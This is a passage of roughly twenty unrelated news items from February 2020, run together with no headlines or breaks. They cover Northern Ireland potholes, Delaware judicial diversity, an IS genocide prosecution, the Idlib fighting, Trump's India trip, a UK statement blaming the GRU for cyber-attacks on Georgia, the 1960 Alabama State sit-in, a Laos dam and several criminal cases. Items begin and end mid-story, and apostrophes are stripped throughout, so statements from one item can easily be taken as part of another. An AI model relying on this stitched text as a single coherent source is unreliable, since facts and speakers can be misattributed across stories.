Strabane, meanwhile, had the lowest compensation claims at 525. Mr McNulty told this newspaper the statistics showed an "urgent" injection of investment was required to repair our roads. "We all know the state of many of our rural roads and the figures released by the Infrastructure Minister Nichola Mallon have laid bare the extent of the damage being caused to vehicles because of sustained under-investment in our road network," he said. "I believe it strengthens her hand when she is making the case to the Finance Minister for additional resources." Mr McNulty's plea comes as a study - reported in this newspaper yesterday - revealed that if the depth of every pothole in Northern Ireland was combined, it would equate to 1,338m - nearly eight times the depth of the English Channel. The research, conducted by comparison website Confused.com, also revealed motorists in Northern Ireland received compensation payouts totalling 185,172 during 2017/18. Last month this newspaper revealed that nearly 50,000 complaints were made about our roads in 2018/19. In response, a DfI spokesman said the department was doing its utmost to tackle the issue amid financial constraints. He stressed the department was doing its best with "limited resources". Mr McNulty acknowledged there had been a tightening of the purse strings but insisted the road network could not be allowed to deteriorate any further. "I fully appreciate that there are many parts of government and public services crying out for investment and that it will be a matter of prioritisation, but if we don't invest in our roads infrastructure now, it will cost more in the long run," he added. "The New Decade, New Approach agreement prioritised infrastructure investment. However, we're not even managing to maintain our existing infrastructure, never mind building more new roads. "The Executive must rally round and support the call for more resources to improve our crumbling road network." WILMINGTON, Del., Feb. 21, 2020 /PRNewswire/ -- Today, Citizens for a Pro-Business Delaware lauded the introduction of a new bill in New York State, sponsored by Manhattan State Senator Brad Hoylman, that would require the state's Office of Court Administration (OCA) to collect, compile and publish an annual report on the demographic information of New York's judges and justices. Said Civil Rights Activist Al Sharpton, "The differences between my home state and Delaware could not be more stark. In New York, one of the most diverse states in the country, legislators are taking it upon themselves to look inward and see how they can make their courts even more inclusive. In Delaware, where 39% of the population is racially diverse and 85% of justices on their highest courts are white, the State Senate would not even agree to hear testimony on the matter of judicial diversity . I'm proud to endorse Senator Hoylman's effort to make New York's courts more inclusive, and I hope the members of Delaware's legislature are watching to see what real leadership looks like. I'll be in Delaware this month to celebrate Black History Month and to make the case that we need more black and brown judges and we need them now." Senator Hoylman's legislation and Sharpton's statement come following the confirmation of Paul Fioravanti Jr. to serve as Vice Chancellor on the Delaware Court of Chancery, run by Chancellor Andre Bouchard. Fioravanti's nomination was hastily pushed through the Delaware State Senate despite calls from racial justice advocates for Governor Carney to appoint a racially diverse nominee to the nation's top business court. Delaware Governor John Carney chose the former Prickett Jones Partner based on a recommendation by the state's Judicial Nominating Committee. However, Delaware law clearly says the Judicial Nominating Commission should be comprised of 11 total members, 10 of which are appointed directly by the Governor. Moreover, state law also makes clear the commission "shall reflect the broad diversity of the citizenry of Delaware." Despite this, though people of color represent nearly 40% of Delaware's population, that group makes up just 15% of the judges who sit on the state's Supreme, Superior, and Chancery Courts, while comprising 62% of the state's incarcerated population. Said Chris Coffey, Citizens for a Pro-Business Delaware's Campaign Manager, "This is the exact kind of progressive legislation we need in Delaware. In New York, the state wants to dive deep in to the problem. In Delaware, the public has no idea who even sits on judicial nominating committee or how it comes to its decisions. We have no idea if the committee 'reflects the broad diversity' of Delaware's residents, as is mandated by law, and we have no clue who may have applied for the Chancery Court opening. We'll also never who else the committee may have recommended to the Governor. Delaware's Judicial Nominating Committee is completely rigged, and a prime example of the secretive nature of a Delaware court system that consistently promotes the interests of an elite few at the expense of Delaware's diverse residents. I'd love to see Delaware's legislature take up a similar measure, but based on their record, I'm not holding my breath." On Monday, February 24th at 6pm, civil rights activist Reverend Al Sharpton and Reverend Christopher Bullock will be hosting a free dinner for Delaware residents in honor of Black History Month, emceed by local Pastor Dale Dennis II of Hoyt Memorial CME. WHAT : Black History Month Celebration and Dinner in support of diversifying Delaware's judiciary : Black History Month Celebration and Dinner in support of diversifying judiciary WHO : Reverend Al Sharpton ; Reverend Christopher Bullock ; Rev. Dale Dennis II ; Rev. Blaine Hackett ; Rev. Alfred Parker ; Bishop Albert Jarman, II ; Archbishop Albert Jarman, Sr.; Bishop Steven; Bishop J.L. Carter ; and over 200 Delawareans from across the state. : Reverend ; Reverend ; Rev. ; Rev. ; Rev. ; Bishop ; Archbishop Albert Jarman, Sr.; Bishop Steven; Bishop ; and over 200 Delawareans from across the state. WHEN : Monday, February 24th at 6pm : at WHERE: Kingswood Community Center, 2300 Bower Street, Wilmington, DE 19802 Contact: Chris Coffey, [email protected] SOURCE Citizens for a Pro-Business Delaware An Iraqi suspected of belonging to the Islamic State jihadist group will face charges of murder and genocide, German prosecutors said on Friday, accused especially of letting a five-year-old slave girl die of thirst. Taha A.-J. is the husband of Jennifer W., a woman who has been on trial in Munich since last year over accusations that the two mistreated a Yazidi mother and daughter, before allowing the young girl to die. The case against the couple has been described by media and lawyers as the first time worldwide that an IS member has been tried for crimes against the Yazidis, a religious minority which suffered brutal persecution at the hands of the jihadists from 2014. Prosecutors allege that A.-J., who joined IS in 2013, purchased the Yazidi child and her mother as household slaves and held them captive while living with Jennifer W. in then IS-occupied Mosul, Iraq, in 2015. Their actions were aimed at destroying the Yazidis, their religion and their culture in keeping with the aims of IS, the prosecutors statement said. The couple are alleged to have forced the mother and daughter to convert to Islam, starved them of food and water and subjected them to beatings. A.-J. ultimately chained the five-year-old girl to a window outdoors in heat mounting to 50 degrees Celsius (122 Fahrenheit), leading her to die of thirst. The accused thought it possible that the girl would die and recklessly took that into account, prosecutors said. Arrested in Greece in May 2019 and in detention in Germany since October, A.-J. has also been charged with war crimes, crimes against humanity and human trafficking for labour exploitation. Jennifer W. has been on trial in Munich since April. Recruited to IS in mid-2015, she was later arrested in Turkey and extradited back to Germany, but not convicted. She was arrested again in June 2018 after speaking about the Yazidi childs death to an undercover police informant, who she believed would help her return to IS territory. Prominent London-based human rights lawyer Amal Clooney is part of the team representing the dead Yazidi girls mother, who is a co-plaintiff in the case. Clooney, the wife of Hollywood star George Clooney, has been involved in a campaign with Nobel Peace Prize winner Nadia Murad, a former IS sex slave, to have the IS crimes against the Yazidi minority be recognised as a genocide. ISTANBUL - Turkish President Recep Tayyip Erdogan said on Friday that "at the moment in Idlib there is a war underway" of Syrian rebels and Turkish forces backing them, against the Damascus army backed by Russia. "According to the most recent data, about 150 regime soldiers have been neutralised, and 12 tanks, 3 armoured vehicles, 14 howitzers, and two armed pick-ups have been destroyed," Erdogan said. "As long as the regime doesn't stop its persecution against the people of Idlib, it will be impossible for us to withdraw. But we can reach a ceasefire. We made a new step towards a security zone of 25 to 30 square kilometres. We will continue to work towards this," he said. New talks scheduled between Russia and Turkey as fighting continues ISTANBUL - While fighting continues on the ground in Idlib between Syrian government forces supported by Russia and rebels backed by Turkey, a new round of talks has been scheduled between Turkish and Russian delegations next week in Ankara. It will be the third round of meetings after those held between Monday and Tuesday in Moscow and previously in Ankara. Previous negotiations have failed to reach an agreement. According to diplomatic sources quoted by the Turkish edition of CNN, Russia allegedly asked Turkey to withdraw its military positions north of the strategic highways M4 and M5, whose control is a strategic objective of the offensive launched by Damascus, leaving in this way 60% of the province of Idlib in Bashar al Assad's hands. Ankara is instead asking for the full respect of borders agreed in Sochi as part of a truce by president Recep Tayyip Erdogan and Vladimir Putin in September 2018. The ongoing humanitarian crisis that has displaced one million people from Idlib, who are now pressing to enter the Turkish border, will also be on the agenda of the meeting. The first calling point of the UKs negotiator immediately after Brexit will not be Brussels, it will be Berlin, to strike a deal, said Conservative MP David Davis, a month before the 2016 EU referendum. At the time a backbencher, Davis painted a picture in which a UK-German deal would include free access for their cars and industrial goods, in exchange for a deal on everything else. Similar deals would be reached with other key EU nations, he said. France would want to protect 3bn of food and wine exports. Italy, its 1bn fashion exports. Poland its 3bn manufacturing exports, he went on, concluding: Trade negotiations are exercises in mutual self-interest. Ahead of his much-speculated visit to India, US President Donald Trump reiterated his feelings towards India's trade tariffs for the US stating that they were one of the 'highest' in the world. President Trump who is all set to visit India on February 24-25 had previously as well remarked that 'India has not treated us fairly' in the context of bilateral trade deals between the two countries. He, however, had also signalled towards a 'very big trade deal' with India after the Presidential elections. Read: POTUS Donald Trump's India visit a stand-alone affair - No Pakistan, No Afghanistan 'I really like Prime Minister Modi' "Great new trade deals like we've been doing, I'm going to India next week. I will talk on trade. They've been hitting us hard for many many years, but I really like Prime Minister Modi. So we have to talk a little business. They've been hitting us hard. They give us tariffs, one of the highest in the world," said Trump at an event in Colorado. Read: MEA dispels rumours, shuts Opposition raising questions on US President Trump's visit President Trump also shared excitement regarding his visit to India stating that he was very excited for the '6-10 million people' who were going to come for his roadshow all the way to the Motera Stadium. Trump also joked that he will never be 'satisfied' with a crowd of 10 million if they can fit only 60,000 in their stadium. "I am getting spoiled," he remarked. Read: 'Will make tremendous trade deal with India': US President Donald Trump Around two lakh people are expected to line up along the 22-km route of the roadshow of US President Donald Trump and Prime Minister Narendra Modi in Ahmedabad on February 24, an official said on Thursday. Trump, who will be on a two-day visit to India, along with First Lady Melania Trump, is expected to attend an event at the Motera Stadium in Ahmedabad along the lines of the 'Howdy Modi' function that was held in Texas for Prime Minister Narendra Modi in September last year. Read: Not 70 lakh, but 1-2 lakh to attend Trump roadshow: Official PRESS RELEASE, COPENHAGEN, DENMARK FLSmidth has received an order from Slavkaliy to supply equipment to a new potassium mining and processing facility in Belarus. The contract is valued at around DKK 360 million and will be booked in Q1 2020. FLSmidth will deliver liquid-solid separation equipment islands to Slavkaliy for a new facility in the Nezhinsky area of the Starobinskoye potassium salt deposits in Belarus. The liquid-solid separation equipment islands include a large number of thickener and clarifier, pan- and horizontal belt filter packages. All equipment islands come with a full automation package, which supports the overall plant automation system previously designed by FLSmidth. When in production, the new mining and processing complex will have an output capacity between 1.1 to 2.0 million tonnes of potassium chloride per annum. Manfred Schaffer, Mining President at FLSmidth, comments: "We are especially pleased, after the plant engineering order booked in Q3 2019, to have now secured this equipment order from CITIC Construction Co. Ltd., which is the construction contractor for Slavkaliy. We are confident this will be a leading, cutting-edge operation with a strong focus on productivity, efficiency and sustainability, backed by a high level of digitalization. "This significant level of automation and digitalization, in combination with our equipment, will also mean the lowest possible on-site energy consumption. Slavkaliy and FLSmidth have a common focus on minimal environmental impact, and this order very much supports FLSmidth's MissionZero ambition." The delivery will begin at the end of 2020 and will be completed during 2021. FLSmidth experts will provide supervision during the erection and commission phases to ensure the timely opening of the complete complex, which is expected in Q4 2023. This Slavikaly order in Belarus is another significant order to be announced by FLSmidth in 2020. Contacts Media Relations Rasmus Windfeld, +45 40 44 60 60, rwin@flsmidth.com Investor Relations Nicolai Mauritzen, +45 30 93 18 51, nicm@flsmidth.com Attachment Senator Bernie Sanders (I., Vt.) suggested to reporters Friday that a report by the Washington Post that Russia is attempting to boost his campaign was politically motivated. The Post story, which broke Friday afternoon, said that Sanders had been briefed by U.S. officials on apparent Russian efforts to help his campaign, but did not say when the briefing took place. Questioned by reporters later Friday, Sanders said it happened about a month ago. When asked what he thought of the timing of the Posts story, he said Ill let you guess how, one day before the Nevada caucus, and cast sarcastic aspersions on the Post. In a statement to the Post, Sanders did not dispute the veracity of the claim that Russia was taking steps to assist his campaign. My message to Putin is clear: Stay out of American elections, and as president I will make sure that you do, he said. Sanders added that the story could mean that some of the ugly stuff on the Internet attributed to our campaign may well not be coming from real supporters. Sanders also said during Wednesdays Nevada debate that it would not shock him if Russia was interfering in the election. The New York Times reported Thursday that Shelby Pierson, the Intelligence Community official in charge of monitoring election threats, warned House lawmakers in a classified briefing last week that the Russians were attempting to boost President Trump in his bid for reelection. Trump disputed the story on Twitter, claiming that it was part of a misinformation campaign spearheaded by Democrats. Another misinformation campaign is being launched by Democrats in Congress saying that Russia prefers me to any of the Do Nothing Democrat candidates who still have been unable to, after two weeks, count their votes in Iowa. Hoax number 7! Donald J. Trump (@realDonaldTrump) February 21, 2020 More from National Review Bodies of the victims are transported to their homeland. (Photo: VNA) The move is related to the Essex lorry deaths case in October 2019, during which all 39 victims found dead at the back of a lorry in Essex, the UK, were identified as Vietnamese. Ha Tinh police also asked the Ministry of Public Security to work with the Interpol to issue a Red Notice for one of the suspects named Nguyen Thi Thuy Diem, who resides in China. Investigation showed those suspects had conducted procedures for 67 people in Hai Phong, Hai Duong, Nam Dinh, Nghe An, Ha Tinh, Quang Binh and Tay Ninh to illegally go to European countries for working. Following the Essex lorry deaths case, Ha Tinh police launched a criminal case of organizing, brokering illegal emigration in Ha Tinh. On October 31, 2019, and November 8, 2019, the police arrested Tran Dinh Truong and Nguyen Thi Thuy Hoa in connection with the case. On November 21, Nguyen Quoc Thanh was arrested and he told the police about the involvement of Nguyen Thi Thuy Diem. Investigation into the case still continues. Seafood companies have vowed to bring catfish to Vietnamese dining tables after their success in the world market. Catfish is one of Vietnams key export items with annual export turnover of $2 billion in 150 markets. But in Vietnam the sales of catfish remain very modest. Pham Minh Thien, CEO of Co May, said his company exports catfish products, especially fillets, to 40 countries and territories with average export turnover of VND1 trillion a year. However, the company still cannot set up any distribution channel in Vietnam, including supermarkets and traditional markets. Seafood companies have vowed to bring catfish to Vietnamese dining tables after their success in the world market. Even Vinh Hoan, the biggest catfish exporter, still cannot conquer the home market. It tried to bring different processed catfish products to restaurants and hotels, but it failed to attract customers. Chiem Thanh Long, director of Binh Quoi Tourism Village, said he once tried to add catfish dishes to the menus for buffet, but customers did not favor the dishes. When customers became more familiar with catfish products, he found it difficult to seek supply sources. Catfish companies focus on exporting products, and pay low attention to the domestic market. Therefore, they dont have effective distribution networks, Long explained. As a result, restaurants and hotels have to send staff to farming areas to collect catfish for processing, or cooperate with farming units, but have to commit to buy catfish in large quantities. Experts said Vietnamese consumers are indifferent to catfish because they dont understand the benefits. Le Thi Thanh Lam, deputy general director of Sai Gon Food, said: "I think that in order to boost catfish sales in the domestic market, enterprises need to run more media campaigns to explain the current farming process. " Studies found that the home market, with nearly 100 million people and 13 million foreign travelers a year, is an attractive market for catfish farmers and processing company. The seafood consumption level is 40 kilogram per capita per annum. Co May in December 2019marketed packed catfish products. In early 2020, the company organized a buffet party at Binh Quoi Tourism Village, with 40 dishes made of catfish. Co May signed a cooperation contract with Sai Gon Food, one of the largest frozen food processing companies, to add catfish to the menu of Sai Gon Food. Thien said the company plans to continue introducing processed catfish products for young consumers, who are busy and want convenience. Regarding the distribution strategy, he said the company would focus on B2B channels and build online sale channels. Kim Chi Vietnam catfish exports likely to recover this year This year is believed to be a brighter year for the domestic tra fish industry with exports inching up in the first quarter, according to an official from the Vietnam Pangasius Association. UK condemns Russia's GRU over Georgia cyber-attacks Foreign Secretary Dominic Raab calls out Russia's campaign of unacceptable cyber-attacks against Georgia. 20 February 2020 The UK, Georgia and international partners have exposed the GRU 's Russia's military intelligence service responsibility for a number of significant cyber-attacks against Georgia last year. The National Cyber Security Centre ( NCSC ) assesses with the highest level of probability that on 28 October 2019 the GRU carried out large-scale, disruptive cyber-attacks. These were against a range of Georgian web hosting providers and resulted in websites being defaced, including sites belonging to the Georgian Government, courts, non-government organisations (NGOs), media and businesses, and also interrupted the service of several national broadcasters. These cyber-attacks are part of Russia's long-running campaign of hostile and destabilising activity against Georgia. The UK is clear that the GRU conducted these cyber-attacks in an attempt to undermine Georgia's sovereignty, to sow discord and disrupt the lives of ordinary Georgian people. The UK remains unwavering in its support for Georgia's sovereignty and territorial integrity. The Foreign Secretary Dominic Raab said: The GRU 's reckless and brazen campaign of cyber-attacks against Georgia, a sovereign and independent nation, is totally unacceptable. The Russian government has a clear choice: continue this aggressive pattern of behaviour against other countries, or become a responsible partner which respects international law. The UK will continue to expose those who conduct reckless cyber-attacks and work with our allies to counter the GRU 's menacing behaviour. Background The UK's National Cyber Security Centre ( NCSC ) assess that the GRU was almost certainly (95% +) responsible for defacing websites, cyber-attacks and interruption to TV channels in Georgia in October 2019. Find further details on the framework used by the UK government for all source intelligence assessments, including the probability yardstick. Given the NCSC 's assessment and the broader context, the UK government has made the judgement that the GRU was responsible. The cyber programme responsible for these disruptions is known in open source variously as the Sandworm team, BlackEnergy Group, Telebots, and VoodooBear. It is operated by the GRU 's Main Centre of Special Technologies, often referred to by the abbreviation "GTsST" or its field post number 74455. This is the first significant example of the GRU using cyber-attacks to disrupt or destroy since late 2017. This Unit of the GRU was responsible for: BlackEnergy: December 2015 shut off part of Ukraine's electricity grid, with 230,000 people losing power for between 1 to 6 hours Industroyer: December 2016 shut off part of Ukraine's electricity grid, also known as CrashOverride. It resulted in a fifth of Kyiv losing power for an hour. It is the first known malware designed specifically to disrupt electricity grids NotPetya: June 2017 destructive cyber-attack targeting the Ukrainian financial, energy and government sectors and affecting other European and Russian businesses BadRabbit: October 2017 ransomware encrypted hard drives and rendered IT inoperable. This caused disruption including to the Kyiv metro, Odessa airport, Russia's central bank and 2 Russian media outlets Georgia is a strategic partner to the UK. The UK supports a range of projects in Georgia and our annual Ministerial-level UK-Georgia Strategic Dialogue provides an important framework for continuing to develop our strong relationship. The UK was particularly grateful for Georgia's firm support following the attack on Salisbury in 2018, including in efforts to strengthen the Organisation for the Prohibition of Chemical Weapons ( OPCW ). NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address President Trump told reporters aboard Air Force One on Thursday night that he is considering nominating Rep. Doug Collins (R-Ga.) as director of national intelligence. The director of national intelligence oversees the 17 agencies that make up the U.S. intelligence community. Since the resignation of Dan Coats in August, there has not been a permanent director of national intelligence; Joseph Maguire has served in an acting role since last year, but on Wednesday, Trump announced he will be replaced by U.S. Ambassador to Germany Richard Grenell. This is a position that requires Senate confirmation, and Collins is known for being one of Trump's most ardent defenders, a quality that was on display during the House impeachment inquiry. Collins announced earlier this year that he is running for Senate in Georgia against Sen. Kelly Loeffler (R-Ga.), who was appointed by Gov. Brian Kemp (R) to fill the seat vacated by former Republican Sen. Johnny Isakson, who resigned due to health reasons. Collins entering the race has caused infighting among Republicans, and if he is picked as director of national intelligence, he'll likely drop his Senate bid. Prior to becoming a congressman, Collins worked as a lawyer and served in the military as a chaplain. More stories from theweek.com A moderate's 2020 lament The stunning Southern Baptist controversy over Donald Trump and Russell Moore, explained Do Bernie Sanders' opponents know he's winning? TRIBUNE MEDIA SERVICES -- By 1960, Montgomery had already been rocked by the bus boycott of 1955 and white citizens across the nation were reeling from the Supreme Courts decision to integrate the countrys public schools a year prior. Change was coming, and for some, that was satisfyingly inevitable. On Feb. 25, 60 years ago a group of Alabama State College students sought to push things further, becoming the change makers themselves. Fed up with the indignities of segregation and the abuse black citizens were forced to endure under the tremendous weight of injustice, 29 courageous students became the first to hold a sit-in demonstration to protest Jim Crow laws in Alabama. Six decades later, Cornelius Benson, St. John Dixon, James McFadden, Joe Peterson, and Joe Reed now in their 80s will return to Alabama State University on Monday to relive the moments that would later change the course of history. Like many Americans, the men had been following civil rights litigation and demonstrations across the country with a passionate sense of urgency. Sit-in protests had been executed by black citizens as early as 1939, but for the college students at Alabama State the massive student-coordinated actions they witnessed in Greensboro, North Carolina, and Nashville in early February solidified for them that the time for action was now. The sit-in movement conveyed to America that we [students] were impatient with the snail like pace of litigation, said Joe Reed, father of Montgomery Mayor Steven Reed and one of 20 students who was later suspended for taking part in the Montgomery demonstration. We were unwilling to just wait, he said. Reed would go on to marshal that impatience to the benefit of black teachers at the Alabama State Teachers Association four years later as the organizations executive secretary ironically known for his eagerness to take segregationists to court. The atmosphere on campus was electric. Professor Jo Ann Robinson and Mary Fair Burks were founding members of the Womens Political Council and had been the first to call for a bus boycott after the arrest of Rosa Parks. James McFadden, who was just 20 years old when he took place in the sit-in protests, had been a student organizer for Dr. Martin Luther King Jr. at that time. He and other students delivered leaflets that explained what black residents should do and where they should go. And although faculty members could not openly endorse political actions or protest movements, their revolutionary spirit inspired students to act. If you're taught by Mary Fair Burks and Jo Ann Robinson, and L.D. Reddick and Rufus Lewis, I'm not surprised that these students were not going to just resign themselves to a subjugated, segregated life, said Derryn Moten, chair of ASUs history and political science department. They were instructed that they were entitled to full citizenship rights just like any other American, he said. And they were absolutely determined to get them. Its unclear which of the students first promoted the idea of a Montgomery sit-in, but word travels fast around a college campus. Soon groups of students were holding meetings at churches that had been sympathetic to protesters during the bus boycott, and planning ways to get the word out. Whisper networks, where one person told 10 others and each one told 10 more, were created. While the previous sit-ins had challenged private businesses, the students were advised by the Rev. Ralph Abernathy, a former Alabama State faculty member and president of the Montgomery Improvement Association, along with civil rights attorney Fred Gray and Professor Robinson that it was most wise to take action on public state property where every taxpayers dollars contributed. The Montgomery County Courthouse lunch counter would become their stage, and all the world was invited to watch the show. Sixty or so students had shown interest in the lead-up, but on the day of the demonstration only half had shown. Those that arrived were steadfast. We weren't sure exactly what was going to happen to us, McFadden said, but we knew it could be anything from being dehumanized to being beaten, to losing our lives. "We were willing to do whatever it cost to get justice. Neatly dressed, so they couldnt be turned away for appearing undesirable, the 29 discreetly filed into the courthouse separating into two groups, each one entering through a different doorway so as not to attract attention. When the men took their seats at the lunch counter, the restaurants white patrons became incensed. People all around them scrambled to move away while they hurled expletives and derogatory remarks at the college students. When a white woman who Reed sat next to looked up from her dish and saw his brown face, she jumped in shock, before quickly scurrying away. All of sudden the Caucasian people started screaming, The Negroes are here, the Negroes are here, within minutes they had about 15 or 20 police in there, said St. John Dixon. Then a college sophomore, he had grown up in the country, less than 80 miles north of Mobile. The men were ordered out of the restaurant and into the hallway where they were lined up for what felt like an eternity while the authorities decided what to do with them. To their surprise, they were released and returned to campus where they held a rally that evening informing the students of Alabama State of their actions. They had no idea of their forthcoming punishment; it would be exercised through politics. Gov. John Patterson, a staunch segregationist, had long kept his eyes and ears on what the students were up to at Alabama State. He created a list of the student offenders, nine of whom were labeled as organizers, and ordered President Harper Councill Trenholm to expel them or risk losing government funding for the state college. The remaining 20 were to be placed on suspension. Trenholm had no choice but to concede. McFadden, Dixon and Peterson were three of those nine students expelled the majority were from out-of-state. The presidents last-ditch effort to help the students was delaying their expulsions by a few days so they could finish the semester, earning full credit for the term. Trenholm himself would later meet a similar fate. In November 1961, the State Board of Education placed him on administrative leave, essentially terminating his job. Jo Ann Robinson, Mary Fair Burks, and L.D. Reddick would also lose their positions, along with music instructor Robert Williams. While many of the students parents lost their jobs or were denied work because their sons had been labeled agitators. The following month, things escalated even further when the Southern Association of Colleges and Secondary Schools pulled the colleges accreditation. In 1962, the same scenario played out at Alabama A&M under President Joseph Drake. In a one-year period both public black colleges in Alabama lost their accreditation, said Moten. It was no coincidence. The Alabama State students would eventually emerge triumphant, to the benefit of college students across the country. Attorney Gray took their case all the way to the Fifth Circuit Court in New Orleans with the aid of Thurgood Marshall, who became the first African American Supreme Court Judge, Derrick Bell, the first black tenured law professor at Harvard, and NAACP Legal Defense Fund Director Jack Greenberg. They challenged that the state had violated the students rights when it expelled them without a hearing and without due cause in the case of St. John Dixon v. Alabama in 1961. The court sided with the students and the ruling became a landmark case, ending the rights of colleges and universities to act in loco parentis, or in place of parents, to discipline or expel students. It is known as the "leading case on due process for students in higher education." In 2010, to mark the 50th anniversary of the courthouse sit-in, ASU presented the remaining men with their degrees. It would take the State Board 58 years to acknowledge its action against Alabama States students, faculty and campus. But for some of the surviving members of the 1960 sit-in, talk is cheap. McFadden, who went on to become a civil rights organizer in Philadelphia after he was told by an Alabama judge that he should leave the city because his life wasnt protected, said he has seen little change in the states actions; citing the disparity in funding between the University of Alabama and Alabama State. ASU will hold a three-day event series examining the legacy of these students heroic demonstration, including a panel discussion at 2 p.m. Monday where the men will share their stories; as well as a panel on reconciliation at 9:20 a.m. Wednesday moderated by The Rev. Manuel Williams of Resurrection Catholic Church that will feature Moten, Mayor Reed, the Montgomery County Commissioner, the state superintendent of education, and a representative from the governors Office of Minority Affairs. We need to reconcile what happened to this campus, said Moten. Until you reconcile a wrong you cant begin to make amends, and the state of Alabama has to reconcile this wrong, along with many, many other wrongs committed in 1960, after 1960 and before 1960. 2020 the Montgomery Advertiser (Montgomery, Ala.) Visit the Montgomery Advertiser (Montgomery, Ala.) at www.montgomeryadvertiser.com Distributed by Tribune Content Agency, LLC. 13 passengers of Kyiv-Moscow train, where citizen of China with high fever was spotted, hospitalized to hospital #4 in Bryansk, Russia as Interfax-Ukraine reported citing chief doctor of the hospital. All of them accommodated in the free-standing building of the hospital. They run some tests for all viral infections, not only coronavirus, the doctor said. Currently there are no results of the tests. It is noted that there are citizens of Ukraine, Russia and Belarus among the hospitalized. The state of health of the citizen of China, who was removed from the train, is satisfactory. She was not diagnosed with clinical manifestations of respiratory diseases. She was transferred to the guarded box, which is situated separately from other medical rooms of the hospital. The main body of the train arrived in Moscow. The further actions on the procedure of the return of the train to Ukraine are under specification. As we reported, a Chinese woman with symptoms of ARVI was removed from the train, which was heading from Kyiv to Moscow. On February 20, the Boeing 737-800 landed in Kharkiv city. It carried the Ukrainians who were evacuated from China so as to save them from the raging coronavirus. According to Ukraine's Healthcare Ministry, none of the passengers were sick or showed any symptoms of the disease. The Interior Ministry decided that the citizens will be put on the quarantine in Novi Sanzhary, Poltava region, central Ukraine. General Hossein Kanani Moghadam received the news of Qassem Soleimanis death in the early hours of the morning. He had warned Soleimani, his successor as chief of Irans Revolutionary Guards Corps, that he might become the target of an attack, and his foreboding had come true. In the final days before Iran votes in a parliamentary election, one of the most important in its recent history and one that will have great resonance for the region and beyond, General Moghadam is reflecting on the turbulent times ahead and the long shadow of war. I sent Commander Soleimani a message two months ago asking him to be careful. I knew some people were suddenly very interested in his travel plans, his movements to me it seemed worrying and I let him know, the former head of the Revolutionary Guards tells The Independent. A citizen journalist submitted to RFA photos of a map showing the location of the Phougnoi Dam. A Thai hydropower company has plans to build what would be Laos sixth large-scale Mekong river dam, the latest cog in Laos ambitious plan to become the battery of Southeast Asia. The Thailand-based Charoen Energy and Water Asia Co. Ltd. (CEWA) presented to Lao authorities the results of studies related to the Phougnoi dam project at a meeting in Pakse city on Feb. 11. According to the plans, the Phougnoi dam would be located in Champassak province, 10 kilometers (6.2 miles) south of Pakse and about 100 kilometers (62 miles) north of the Don Sahong dam, which recently began operations. The company presented the results of the initial feasibility study and the environmental impact assessment of the proposed dam at the meeting, an official at the Champassak Provincial Administration Office told Radio Free Asia, a sister entity of BenarNews, on Wednesday. Right now, they have not yet built anything and have many more steps to go through, so construction will not begin any time soon, the official said. The official said he did not know when the Lao government would notify the Mekong River Commission about the project, a mandatory step for new Mekong river developments that would begin a six-month prior consultation process that would include an impact assessment for affected neighboring countries. The initial studies [presented at the Feb. 11 meeting] focused on the impact on local people, but not in much detail. If [the developer and Laos government] go ahead with this project, they will need more details on how it would impact people who live downstream from the dam, the official said. The studies showed that the Phougnoi dam would affect more than 200 hectares (500 acres) of land, home to 88 villages in seven districts. The most affected village would be Khon Ken village, where 811 residents reside in 142 households. Details of construction costs and power purchase agreements have not yet been revealed. A CEWA representative said the company has completed designs for the dam as well as the initial studies into the environmental and social impacts of the project. Residents said they are concerned about the potential impact. Why is the Lao government building so many dams? a resident of Champassak provinces Champassak district asked. We already have too many. If we build more, droughts will be more severe and the water level on the Mekong will get lower and lower, the resident said. A village chief in Sanasomboun district, an area which would be greatly affected, said none in the village had heard anything about the development project. Stakeholders urge Laos to share more information Meanwhile at northern Laos Xayaburi dam, which began commercial operations in October, government officials and stakeholders toured the facilities Thursday and recommended that the dams developer share information about its operation with the lower Mekong countries. The 50-person tour included NGO representatives, researchers, journalists and specialists from the MRC Secretariat. According to a report on the MRC website, the tour included presentations by the dams developer on the plants design, with visits to fish passes, flushing gates, and views of water levels both up and downstream. We want the site visit to speak for itself regarding the situation of low flows and drought in the Mekong, said Anoulak Kittikhoun, Chief Strategy and Partnership Officer at the MRC Secretariat and leader of the tour. Wed like our stakeholders to see the dam and its operation with their own eyes and pose questions to the developer so that they can form their own assessment. The visitors said they were appreciative of the developers openness, but they expressed their hope that the company would share with the MRC Secretariat data on the dams operation including water flow, sediment transport and migration. Observed data and information on sediment and fish migration above and below the dam as well as on energy generation should be shared, said Nhan Quang Nguyen, representing a Vietnamese NGO, the Centre for Promotion of Integrated Water Resources Management. Transparent and timely sharing of this information could help the people and relevant authorities make better planning, he said. Knut Sierotzki, an engineering consultant for a Finnish company that assists the Xayaburi power company tried to quell concerns about the dam storing excessive amounts of water. There is no storing of water what flows in will eventually flow out, Sierotzki said. The flow regime of the river is not changed. The inflow water is constantly released either through the turbines or spillway, he said. He also said the discharge during this dry season was about 50 percent higher than that of the 2003-2004 dry year which saw the water flowing out between 800 and 1,000 cubic meters per second. But Patchara Jaturakomol of Thailands Kasetsart University said Sierotzkis claim illustrates why the data needs to be shared. If the developer were to make the official data public, the data could speak for itself, she said. Laos has built dozens of hydropower dams on the Mekong and its tributaries, hoping to export the electricity they to other countries in the region. It is preparing to build scores more dams in the years ahead. Though the Lao government sees power generation as a way to boost the countrys economy, the projects are controversial because of their environmental impact, displacement of villagers, and questionable financial arrangements. Kochi, Feb 21 : Another Kerala nun on Friday levelled grave allegations of sexual abuse against former Bishop of Jalandhar, Franco Mulakkal, who is already out on bail in a case of sexually assaulting a nun between 2014 and 2016. The second nun's statement was given before the police as she is the 14th witness in the case against Mulakkal where he is now out on bail. In her statement before the police she has said the bishop used to make video calls her on mobile and talk about sex. She also said that once she was called before him at a convent in Kerala and he grossly misbehaved with her. The police has not registered a case over this allegation, as there is no complaint from the nun. Mulakkal who was arrested on September 21, 2018 on rape charges, got bail on October 16, 2018. The Kerala Police has filed a 1,400-page chargesheet against him. The chargesheet names 83 witnesses, including the Cardinal of the Syro-Malabar Catholic Church Mar George Alencherry, three bishops, 11 priests and several nuns. After the case came to light, Mulakkal was removed as head of the Jalandhar diocese. The mother of murdered backpacker Grace Millane told her killer she is tormented over "the terror and pain she must have experienced at your hands". The New Zealand man (28) convicted of murdering Miss Millane has been sentenced to life in prison with a minimum non-parole period of 17 years. The man, who cannot be named for legal reasons, strangled Ms Millane in a hotel in Auckland after meeting her via Tinder on December 1, 2018 - the day before her 22 birthday. Her body was later found buried in a suitcase in a forested area outside the city in New Zealand. Mrs Millane, said: "Her tragic life, cut short by your wilful, 